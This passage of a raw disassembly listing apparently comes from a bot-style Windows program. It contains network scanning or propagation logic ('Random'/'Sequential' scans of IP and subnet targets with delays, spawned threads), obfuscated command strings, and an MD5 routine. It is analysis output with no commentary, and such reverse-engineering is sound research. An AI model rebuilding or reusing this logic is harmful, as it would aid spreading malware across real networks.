		cmp	[ebp+arg_54], ecx
		jnz	short loc_41437D
		cmp	[ebp+arg_58], ecx
		jnz	short loc_41437D
		cmp	[ebp+arg_5C], ecx
		jnz	short loc_41437D
		cmp	[ebp+arg_60], ecx
		jz	loc_41470A


loc_41437D:				; CODE XREF: sub_40A9FE+996Aj
					; sub_40A9FE+996Fj ...
		mov	ecx, [ebp+arg_10]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		mov	[ebp+var_40], 10h
		call	sub_41DB68
		push	eax
		call	dword_456EB8	; getsockname
		cmp	[ebp+arg_54], 0
		jz	loc_41445E
		and	[ebp+var_7C], 0FFh
		jmp	loc_414475
; ---------------------------------------------------------------------------


loc_4143B1:				; CODE XREF: sub_40A9FE+9965j
		cmp	[ebp+arg_54], ecx
		jz	short loc_4143BF
		mov	[ebp+arg_C], 1
		jmp	short loc_4143DD
; ---------------------------------------------------------------------------


loc_4143BF:				; CODE XREF: sub_40A9FE+99B6j
		cmp	[ebp+arg_58], ecx
		jz	short loc_4143CD
		mov	[ebp+arg_C], 2
		jmp	short loc_4143DD
; ---------------------------------------------------------------------------


loc_4143CD:				; CODE XREF: sub_40A9FE+99C4j
		cmp	[ebp+arg_5C], ecx
		jz	loc_414711
		mov	[ebp+arg_C], 3


loc_4143DD:				; CODE XREF: sub_40A9FE+99BFj
					; sub_40A9FE+99CDj
		push	offset byte_454A54
		push	offset dword_457C40
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_414400
		push	offset dword_457C40
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		jz	short loc_414429


loc_414400:				; CODE XREF: sub_40A9FE+99F1j
		mov	ecx, [ebp+arg_10]
		call	sub_41DB58
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_41CF25
		push	2710h
		push	eax
		mov	[ebp+arg_4], eax
		call	dword_43707C	; WaitForSingleObject
		push	[ebp+arg_4]
		call	dword_437044	; CloseHandle


loc_414429:				; CODE XREF: sub_40A9FE+9A00j
		push	[ebp+arg_C]
		push	[ebp+arg_60]
		push	offset dword_457C40
		call	sub_401F54
		add	esp, 0Ch
		test	eax, eax
		jz	loc_414995
		push	10h
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_429D10
		mov	eax, [ebp+arg_60]
		add	esp, 0Ch
		jmp	loc_414355
; ---------------------------------------------------------------------------


loc_41445E:				; CODE XREF: sub_40A9FE+99A1j
		cmp	[ebp+arg_58], 0
		jz	short loc_41446B
		and	word ptr [ebp+var_7C+2], 0
		jmp	short loc_414475
; ---------------------------------------------------------------------------


loc_41446B:				; CODE XREF: sub_40A9FE+9A64j
		cmp	[ebp+arg_5C], 0
		jz	short loc_414475
		and	byte ptr [ebp+var_7C+3], 0


loc_414475:				; CODE XREF: sub_40A9FE+99AEj
					; sub_40A9FE+9A6Bj ...
		push	10h
		push	[ebp+var_7C]
		call	dword_456FDC	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_429D10
		add	esp, 0Ch
		cmp	[ebp+arg_60], 0
		jz	short loc_41450D
		xor	eax, eax
		cmp	[ebp+arg_54], eax
		mov	[ebp+arg_4], eax
		jz	short loc_4144A9
		mov	[ebp+arg_4], 3
		jmp	short loc_4144C3
; ---------------------------------------------------------------------------


loc_4144A9:				; CODE XREF: sub_40A9FE+9AA0j
		cmp	[ebp+arg_58], eax
		jz	short loc_4144B7
		mov	[ebp+arg_4], 2
		jmp	short loc_4144C3
; ---------------------------------------------------------------------------


loc_4144B7:				; CODE XREF: sub_40A9FE+9AAEj
		cmp	[ebp+arg_5C], eax
		jz	short loc_4144C3
		mov	[ebp+arg_4], 1


loc_4144C3:				; CODE XREF: sub_40A9FE+9AA9j
					; sub_40A9FE+9AB7j ...
		lea	eax, [ebp+var_164]
		push	30h
		push	eax
		call	sub_42B060
		and	byte ptr [ebp+arg_C+3],	0
		cmp	[ebp+arg_4], 0
		pop	ecx
		pop	ecx
		jle	loc_414322


loc_4144E1:				; CODE XREF: sub_40A9FE+9B08j
		test	eax, eax
		jz	loc_414322
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_164]
		push	30h
		push	eax
		call	sub_42B060
		inc	byte ptr [ebp+arg_C+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_C+3]
		cmp	ecx, [ebp+arg_4]
		jl	short loc_4144E1
		jmp	loc_414322
; ---------------------------------------------------------------------------


loc_41450D:				; CODE XREF: sub_40A9FE+9A96j
		and	[ebp+var_A8], 0


loc_414514:				; CODE XREF: sub_40A9FE+992Ej
					; sub_40A9FE+995Dj
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_B4], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_AC], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_B0], eax
		mov	[ebp+var_9C], ecx
		test	eax, eax
		lea	eax, [ebp+var_154]
		jz	short loc_414549
		push	offset dword_443F14
		jmp	short loc_41454E
; ---------------------------------------------------------------------------


loc_414549:				; CODE XREF: sub_40A9FE+9B42j
		push	offset dword_443F1C


loc_41454E:				; CODE XREF: sub_40A9FE+9B49j
		push	eax
		call	dword_4370B4	; lstrcpyA
		cmp	[ebp+var_A8], 0
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_414568
		mov	eax, offset aSequential	; "Sequential"


loc_414568:				; CODE XREF: sub_40A9FE+9B63j
		push	[ebp+var_BC]
		lea	ecx, [ebp+var_164]
		push	[ebp+var_CC]
		push	[ebp+var_D0]
		push	[ebp+var_D4]
		push	ecx
		push	offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
		push	eax
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	offset aSSSSDWithADe_0 ; "%s %s	%s %s:%d with a	delay of %d secon"...
		push	8
		call	sub_4234A7
		add	esp, 28h
		mov	[ebp+var_C8], eax
		lea	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_164]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_402459
		push	eax
		push	eax
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_C8]
		imul	ecx, 2724h
		test	eax, eax
		mov	dword_46D72C[ecx], eax
		jnz	short loc_414643
		cmp	[ebp+arg_14], eax
		jnz	short loc_414602
		cmp	[ebp+arg_18], eax
		jnz	short loc_414608
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_414602:				; CODE XREF: sub_40A9FE+9BDDj
		cmp	[ebp+arg_18], 0
		jz	short loc_414627


loc_414608:				; CODE XREF: sub_40A9FE+9BE2j
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 18h


loc_414627:				; CODE XREF: sub_40A9FE+98AEj
					; sub_40A9FE+98CBj ...
		inc	[ebp+arg_68]
		mov	eax, [ebp+arg_68]
		cmp	eax, [ebp+arg_8]
		jl	loc_414094
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_41463B:				; CODE XREF: sub_40A9FE+9C4Cj
		push	32h
		call	dword_437190	; Sleep


loc_414643:				; CODE XREF: sub_40A9FE+9BD8j
		cmp	[ebp+var_A4], 0
		jz	short loc_41463B
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jnz	short loc_4146AC
		cmp	[ebp+arg_18], eax
		jnz	short loc_4146B6
		cmp	[ebp+arg_1C], eax
		jnz	short loc_414627
		cmp	[ebp+var_A8], eax
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_41466F
		mov	eax, offset aSequential	; "Sequential"


loc_41466F:				; CODE XREF: sub_40A9FE+9C6Aj
		push	[ebp+var_BC]
		lea	ecx, [ebp+var_164]
		push	[ebp+var_CC]
		push	[ebp+var_D0]
		push	[ebp+var_D4]
		push	ecx
		push	offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
		push	eax
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	offset aSSSSDWithADe_0 ; "%s %s	%s %s:%d with a	delay of %d secon"...
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 2Ch


loc_4146AC:				; CODE XREF: sub_40A9FE+9C53j
		cmp	[ebp+arg_18], 0
		jz	loc_414627


loc_4146B6:				; CODE XREF: sub_40A9FE+9C58j
		cmp	[ebp+var_A8], 0
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4146C9
		mov	eax, offset aSequential	; "Sequential"


loc_4146C9:				; CODE XREF: sub_40A9FE+9CC4j
		push	[ebp+var_BC]
		lea	ecx, [ebp+var_164]
		push	[ebp+var_CC]
		push	[ebp+var_D0]
		push	[ebp+var_D4]
		push	ecx
		push	offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
		push	eax
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	offset aSSSSDWithADe_0 ; "%s %s	%s %s:%d with a	delay of %d secon"...
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 2Ch
		jmp	loc_414627
; ---------------------------------------------------------------------------


loc_41470A:				; CODE XREF: sub_40A9FE+9979j
		mov	edi, offset aSNoIpSpecified ; "%s No IP	specified."
		jmp	short loc_414716
; ---------------------------------------------------------------------------


loc_414711:				; CODE XREF: sub_40A9FE+99D2j
		mov	edi, offset aSNoSubnetCla_0 ; "%s No subnet class specified"


loc_414716:				; CODE XREF: sub_40A9FE+9D11j
		cmp	[ebp+arg_14], ecx
		jnz	short loc_414734
		cmp	[ebp+arg_18], ecx
		jnz	short loc_41473E
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_414734:				; CODE XREF: sub_40A9FE+9D1Bj
		cmp	[ebp+arg_18], 0


loc_414738:				; CODE XREF: sub_40A9FE+5FC5j
		jz	loc_414995


loc_41473E:				; CODE XREF: sub_40A9FE+5FA6j
					; sub_40A9FE+9D20j
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."


loc_414743:				; CODE XREF: sub_40A9FE+C69j
					; sub_40A9FE+4658j
		push	edi


loc_414744:				; CODE XREF: sub_40A9FE+2775j
					; sub_40A9FE+28CBj ...
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4


loc_41474E:				; CODE XREF: sub_40A9FE+55Bj
					; sub_40A9FE+5E3Fj
		add	esp, 10h
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_414756:				; CODE XREF: sub_40A9FE+5E71j
					; sub_40A9FE+5E7Aj ...
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."


loc_41475B:				; CODE XREF: sub_40A9FE+927Fj
					; sub_40A9FE+949Fj
		cmp	[ebp+arg_14], eax
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	short loc_414781
		cmp	[ebp+arg_18], eax
		jnz	short loc_41478A
		push	ebx
		push	edi
		push	offset aSS_1	; "%s %s"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h
		xor	eax, eax


loc_414781:				; CODE XREF: sub_40A9FE+9D65j
		cmp	[ebp+arg_18], eax


loc_414784:				; CODE XREF: sub_40A9FE+1540j
		jz	loc_414995


loc_41478A:				; CODE XREF: sub_40A9FE:loc_40BF1Fj
					; sub_40A9FE+9D6Aj
		push	ebx
		push	edi


loc_41478C:				; CODE XREF: sub_40A9FE+51F0j
		push	offset aSS_1	; "%s %s"


loc_414791:				; CODE XREF: sub_40A9FE+6FEj
					; sub_40A9FE+1E94j ...
		push	dword ptr [esi]


loc_414793:				; CODE XREF: sub_40A9FE+466j
					; sub_40A9FE+1C0Cj
		push	[ebp+arg_10]
		call	sub_41CDD4


loc_41479B:				; CODE XREF: sub_40A9FE+158j
					; sub_40A9FE+280Fj ...
		add	esp, 14h
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_4147A3:				; CODE XREF: sub_40A9FE+1D14j
					; sub_40A9FE+1D25j
		push	dword ptr [ebx]
		push	offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
		call	edi ; dword_437178
		mov	ebx, eax
		push	3
		neg	ebx
		sbb	ebx, ebx
		inc	ebx
		call	sub_42381F
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_414806
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_4147EE
		cmp	[ebp+arg_18], 0
		jnz	short loc_4147F8
		push	eax
		push	ebx
		push	offset aFfec81uznt81 ; "fFEC81UzNT81"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_4147EE:				; CODE XREF: sub_40A9FE+9DD2j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_4147F8:				; CODE XREF: sub_40A9FE+9DD8j
		push	[ebp+arg_C]
		push	ebx
		push	offset aFfec81uznt81 ; "fFEC81UzNT81"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_414806:				; CODE XREF: sub_40A9FE+9DC2j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_DA0], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_DA4], eax
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_E50]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		xor	edi, edi
		cmp	ebx, edi
		mov	[ebp+var_E54], eax
		mov	[ebp+var_DC0], ebx
		mov	[ebp+var_DBC], edi
		mov	ecx, offset aSecure ; "Secure"
		jnz	short loc_41489A
		mov	ecx, offset aUnsecure ;	"Unsecure"
		mov	eax, offset aJvatg1988z81 ; "jVATg1988z81"


loc_414852:				; CODE XREF: sub_40A9FE+9EA1j
		push	ecx
		push	eax
		push	offset aSS_	; "%s %s."
		push	3
		call	sub_4234A7
		add	esp, 10h
		mov	[ebp+var_DD0], eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_E54]
		push	edi
		push	eax
		push	offset sub_422009
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_DD0]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	short loc_4148B6
		jmp	short loc_4148A9
; ---------------------------------------------------------------------------


loc_41489A:				; CODE XREF: sub_40A9FE+9E48j
		mov	eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
		jmp	short loc_414852
; ---------------------------------------------------------------------------


loc_4148A1:				; CODE XREF: sub_40A9FE+9EB1j
		push	32h
		call	dword_437190	; Sleep


loc_4148A9:				; CODE XREF: sub_40A9FE+9E9Aj
		cmp	[ebp+var_D98], edi
		jz	short loc_4148A1
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_4148B6:				; CODE XREF: sub_40A9FE+9E98j
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_4148F7
		cmp	[ebp+arg_18], 0
		jnz	short loc_414901
		test	ebx, ebx
		mov	[ebp+arg_C], offset aFfec81uznt81 ; "fFEC81UzNT81"
		jnz	short loc_4148D9
		mov	[ebp+arg_C], offset aJvatg1988z81 ; "jVATg1988z81"


loc_4148D9:				; CODE XREF: sub_40A9FE+9ED2j
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	[ebp+arg_C]
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_4148F7:				; CODE XREF: sub_40A9FE+9EC1j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_414901:				; CODE XREF: sub_40A9FE+9EC7j
		test	ebx, ebx
		mov	ebx, offset aFfec81uznt81 ; "fFEC81UzNT81"
		jnz	short loc_41490F
		mov	ebx, offset aJvatg1988z81 ; "jVATg1988z81"


loc_41490F:				; CODE XREF: sub_40A9FE+17FAj
					; sub_40A9FE+1826j ...
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...


loc_41491B:				; CODE XREF: sub_40A9FE+95Aj
					; sub_40A9FE+FA1j
		push	ebx


loc_41491C:				; CODE XREF: sub_40A9FE+9A0j
					; sub_40A9FE+DD4j ...
		push	edi


loc_41491D:				; CODE XREF: sub_40A9FE+D01j
					; sub_40A9FE+4BD3j ...
		push	dword ptr [esi]


loc_41491F:				; CODE XREF: sub_40A9FE+A00j
		push	[ebp+arg_10]
		call	sub_41CDD4


loc_414927:				; CODE XREF: sub_40A9FE+1508j
		add	esp, 18h
		jmp	short loc_414995
; ---------------------------------------------------------------------------


loc_41492C:				; CODE XREF: sub_40A9FE+18ADj
					; sub_40A9FE+18BEj
		xor	eax, eax
		cmp	[ebp+arg_18], eax
		jnz	short loc_414964
		cmp	[ebp+arg_20], eax
		mov	eax, offset aBuiltOct102009 ; "	Built: Oct 10 2009 20:03:55"
		jnz	short loc_414942
		mov	eax, offset byte_454A54


loc_414942:				; CODE XREF: sub_40A9FE+9F3Dj
		push	eax
		push	offset a3c9	; "]&3c9"
		push	offset dword_4439BC
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset aSSSS	; "%s %s (%s) %s"


loc_414957:				; CODE XREF: sub_40A9FE+290Fj
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		jmp	short loc_414992
; ---------------------------------------------------------------------------


loc_414964:				; CODE XREF: sub_40A9FE+9F33j
		cmp	[ebp+arg_20], eax
		mov	eax, offset aBuiltOct102009 ; "	Built: Oct 10 2009 20:03:55"
		jnz	short loc_414973
		mov	eax, offset byte_454A54


loc_414973:				; CODE XREF: sub_40A9FE+9F6Ej
		push	eax
		push	offset a3c9	; "]&3c9"
		push	offset dword_4439BC
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	offset aSSSS	; "%s %s (%s) %s"


loc_414988:				; CODE XREF: sub_40A9FE+91Aj
					; sub_40A9FE+1884j ...
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4


loc_414992:				; CODE XREF: sub_40A9FE+9F64j
		add	esp, 1Ch


loc_414995:				; CODE XREF: sub_40A9FE+2Bj
					; sub_40A9FE+3Cj ...
		xor	eax, eax
		inc	eax


loc_414998:				; CODE XREF: sub_40A9FE+1A9Ej
					; sub_40A9FE+85F1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A9FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41499D	proc near		; CODE XREF: sub_4155AA+23p
		push	esi
		mov	esi, ecx
		call	sub_41557E
		mov	eax, esi
		pop	esi
		retn
sub_41499D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4149A9	proc near		; CODE XREF: sub_4154D9+3p
		and	dword ptr [ecx], 0
		and	dword ptr [ecx+4], 0
		mov	dword ptr [ecx+8], 67452301h
		mov	dword ptr [ecx+0Ch], 0EFCDAB89h
		mov	dword ptr [ecx+10h], 98BADCFEh
		mov	dword ptr [ecx+14h], 10325476h
		retn
sub_4149A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149CD	proc near		; CODE XREF: sub_41535A+45p
					; sub_41535A+64p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		push	ebx
		push	esi
		mov	dh, [eax+3]
		push	edi
		mov	dl, [eax+2]
		movzx	esi, byte ptr [eax+1]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+5]
		mov	[ebp+var_40], edx
		xor	edx, edx
		mov	dh, [eax+7]
		mov	dl, [eax+6]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+4]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+9]
		mov	[ebp+var_3C], edx
		xor	edx, edx
		mov	dh, [eax+0Bh]
		mov	dl, [eax+0Ah]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+8]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+0Dh]
		mov	[ebp+var_38], edx
		xor	edx, edx
		mov	dh, [eax+0Fh]
		mov	dl, [eax+0Eh]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+0Ch]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+11h]
		mov	[ebp+var_34], edx
		xor	edx, edx
		mov	dh, [eax+13h]
		mov	dl, [eax+12h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+10h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+15h]
		mov	[ebp+var_30], edx
		xor	edx, edx
		mov	dh, [eax+17h]
		mov	dl, [eax+16h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+14h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+19h]
		mov	[ebp+var_2C], edx
		xor	edx, edx
		mov	dh, [eax+1Bh]
		mov	dl, [eax+1Ah]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+18h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+1Dh]
		mov	[ebp+var_28], edx
		xor	edx, edx
		mov	dh, [eax+1Fh]
		mov	dl, [eax+1Eh]
		shl	edx, 8
		or	edx, esi
		shl	edx, 8
		movzx	esi, byte ptr [eax+1Ch]
		or	edx, esi
		movzx	esi, byte ptr [eax+21h]
		mov	[ebp+var_24], edx
		xor	edx, edx
		mov	dh, [eax+23h]
		mov	dl, [eax+22h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+20h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+25h]
		mov	[ebp+var_20], edx
		xor	edx, edx
		mov	dh, [eax+27h]
		mov	dl, [eax+26h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+24h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+29h]
		mov	[ebp+var_1C], edx
		xor	edx, edx
		mov	dh, [eax+2Bh]
		mov	dl, [eax+2Ah]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+28h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+2Dh]
		mov	[ebp+var_18], edx
		xor	edx, edx
		mov	dh, [eax+2Fh]
		mov	dl, [eax+2Eh]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+2Ch]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+31h]
		mov	[ebp+var_14], edx
		xor	edx, edx
		mov	dh, [eax+33h]
		mov	dl, [eax+32h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+30h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+35h]
		mov	[ebp+var_10], edx
		xor	edx, edx
		mov	dh, [eax+37h]
		mov	dl, [eax+36h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+34h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+39h]
		mov	[ebp+var_C], edx
		xor	edx, edx
		mov	dh, [eax+3Bh]
		mov	dl, [eax+3Ah]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+38h]
		shl	edx, 8
		or	edx, esi
		movzx	esi, byte ptr [eax+3Dh]
		mov	[ebp+var_8], edx
		xor	edx, edx
		mov	dh, [eax+3Fh]
		mov	dl, [eax+3Eh]
		movzx	eax, byte ptr [eax+3Ch]
		shl	edx, 8
		or	edx, esi
		shl	edx, 8
		mov	esi, [ecx+14h]
		mov	edi, [ecx+10h]
		mov	ebx, [ecx+0Ch]
		or	edx, eax
		mov	eax, [ecx+8]
		mov	[ebp+var_4], edx
		mov	edx, esi
		xor	edx, edi
		and	edx, ebx
		xor	edx, esi
		add	edx, eax
		mov	eax, [ebp+var_40]
		lea	edx, [edx+eax-28955B88h]
		mov	eax, edx
		shr	eax, 19h
		shl	edx, 7
		or	eax, edx
		mov	edx, edi
		add	eax, ebx
		xor	edx, ebx
		and	edx, eax
		xor	edx, edi
		add	edx, [ebp+var_3C]
		lea	esi, [esi+edx-173848AAh]
		mov	edx, esi
		shr	edx, 14h
		shl	esi, 0Ch
		or	edx, esi
		mov	esi, ebx
		add	edx, eax
		xor	esi, eax
		and	esi, edx
		xor	esi, ebx
		mov	ebx, edx
		add	esi, [ebp+var_38]
		xor	ebx, eax
		lea	edi, [edi+esi+242070DBh]
		mov	esi, edi
		shr	esi, 0Fh
		shl	edi, 11h
		or	esi, edi
		mov	edi, [ecx+0Ch]
		add	esi, edx
		and	ebx, esi
		xor	ebx, eax
		add	ebx, [ebp+var_34]
		lea	edi, [edi+ebx-3E423112h]
		mov	ebx, edi
		shl	ebx, 16h
		shr	edi, 0Ah
		or	ebx, edi
		mov	edi, edx
		add	ebx, esi
		xor	edi, esi
		and	edi, ebx
		mov	[ebp+arg_0], ebx
		xor	edi, edx
		add	edi, [ebp+var_30]
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		mov	eax, esi
		add	edi, ebx
		xor	eax, ebx
		and	eax, edi
		xor	eax, esi
		add	eax, [ebp+var_2C]
		lea	edx, [edx+eax+4787C62Ah]
		mov	eax, edx
		shr	eax, 14h
		shl	edx, 0Ch
		or	eax, edx
		mov	edx, ebx
		add	eax, edi
		xor	edx, edi
		and	edx, eax
		xor	edx, ebx
		add	edx, [ebp+var_28]
		lea	esi, [esi+edx-57CFB9EDh]
		mov	edx, esi
		shr	edx, 0Fh
		shl	esi, 11h
		or	edx, esi
		mov	esi, eax
		add	edx, eax
		xor	esi, edi
		and	esi, edx
		xor	esi, edi
		add	esi, [ebp+var_24]
		lea	esi, [ebx+esi-2B96AFFh]
		mov	ebx, esi
		shl	ebx, 16h
		shr	esi, 0Ah
		or	ebx, esi
		mov	esi, eax
		xor	esi, edx
		add	ebx, edx
		and	esi, ebx
		mov	[ebp+arg_0], ebx
		xor	esi, eax
		add	esi, [ebp+var_20]
		lea	edi, [edi+esi+698098D8h]
		mov	esi, edi
		shr	esi, 19h
		shl	edi, 7
		or	esi, edi
		mov	edi, edx
		add	esi, ebx
		xor	edi, ebx
		and	edi, esi
		xor	edi, edx
		add	edi, [ebp+var_1C]
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		mov	eax, ebx
		add	edi, esi
		xor	eax, esi
		and	eax, edi
		xor	eax, ebx
		add	eax, [ebp+var_18]
		lea	edx, [edx+eax-0A44Fh]
		mov	eax, edx
		shr	eax, 0Fh
		shl	edx, 11h
		or	eax, edx
		mov	edx, edi
		add	eax, edi
		xor	edx, esi
		and	edx, eax
		xor	edx, esi
		add	edx, [ebp+var_14]
		lea	edx, [ebx+edx-76A32842h]
		mov	ebx, edx
		shl	ebx, 16h
		shr	edx, 0Ah
		or	ebx, edx
		mov	edx, edi
		add	ebx, eax
		xor	edx, eax
		and	edx, ebx
		mov	[ebp+arg_0], ebx
		xor	edx, edi
		add	edx, [ebp+var_10]
		lea	esi, [esi+edx+6B901122h]
		mov	edx, esi
		shr	edx, 19h
		shl	esi, 7
		or	edx, esi
		mov	esi, eax
		add	edx, ebx
		xor	esi, ebx
		and	esi, edx
		xor	esi, eax
		add	esi, [ebp+var_C]
		lea	edi, [edi+esi-2678E6Dh]
		mov	ebx, edi
		shr	ebx, 14h
		shl	edi, 0Ch
		or	ebx, edi
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		add	ebx, edx
		xor	esi, edx
		and	esi, ebx
		xor	esi, edi
		add	esi, [ebp+var_8]
		lea	eax, [eax+esi-5986BC72h]
		mov	esi, eax
		shr	esi, 0Fh
